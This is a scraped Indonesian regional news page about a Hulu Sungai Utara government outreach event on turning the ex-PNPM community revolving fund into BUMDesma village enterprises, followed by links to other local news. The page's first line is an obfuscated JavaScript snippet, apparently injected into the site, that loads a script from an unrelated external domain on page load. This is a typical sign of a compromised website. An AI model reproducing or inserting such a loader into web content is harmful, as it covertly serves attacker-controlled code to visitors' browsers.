(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

DPMD HSU Sosialiasi Pengelolaan Dana Bergulir Masyarakat BUMDesma


KANALKALIMANTAN.COM, AMUNTAI – Memajukan sektor usaha produktif yang memberikan manfaat luas ke masyarakat, Dinas Pemberdayaan Masyarakat dan Desa (DPMD) Kabupaten Hulu Sungai Utara (HSU) sosialisasi percepatan transformasi pengelolaan Dana Bergulir Masyarakat (DBM) di gedung Agung, Kamis (7/4/2022).

Dana bergulir masyarakat sendiri merupakan eks Program Nasional Pemberdayaan Masyarakat-Mandiri Pedesaan (PNPM-MPd) yang kini menjadi Badan Usaha Milik Desa Bersama (BUMDesma)

Plt Kepala DPMD HSU, Amita Susana mengatakan, kegiatan sosialiasi ini dilaksanakan dengan melewati tahapan dari tingkat kabupaten, kemudian berlanjut di tingkat kecamatan dan seterusnya.

Sosialisasi Eks PNPM menjadi BUMDesma ini bertujuan agar para peserta memahami aturan, mulai dari pembentukan hingga berjalannya kegiatan BUMDesma. Sehingga mendatangkan kemanfaatan yang besar dengan adanya BUMDesma di masyarakat.

 

 

Baca juga: Warga Minta Perbaikan Jalan di Desa Karang Rejo, Bupati Tanbu Perintah Kadis PUPR Langsung Cek Lokasi

“Semoga semua tahapan kegiatan bisa berjalan dengan lancar dan kami berharap kerjasamanya agar BUMDesma dapat berkembang sehingga memberikan manfaat baik untuk pemerintah desa maupun peningkatan kesejahteraan masyarakat,” kata Amita.

Sementara, Pelaksana Tugas (Plt) Bupati HSU Husairi Abdi, mendukung kegiatan sosialisasi ini sebagai langkah awal untuk mendapatkan berbagai informasi penting dan meningkatkan pemahaman terkait percepatan transformasi pengelolaan DBM.

Ia menambahkan, dalam PP Nomor 11/2021 tentang BUMDesma, Peraturan Menteri Desa, Pembangunan Daerah Tertinggal dan Transmigrasi RI Nomor 15 tahun 2021 tentang tata cara pembentukan pengelola kegiatan dana bergulir masyarakat Eks PNPM Mandiri Pedesaan menjadi BUMDesma serta berbagai tahapan dan jadwal pembentukannya.

“Yang perlu kita garis bawahi adalah bahwa transformasi ini dilaksanakan sesuai aturan yang diterapkan secara bertahap dengan tujuan kepastian hukum,” tutup Husairi. (Kanalkalimantan.com/dew)

Reporter: dew
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.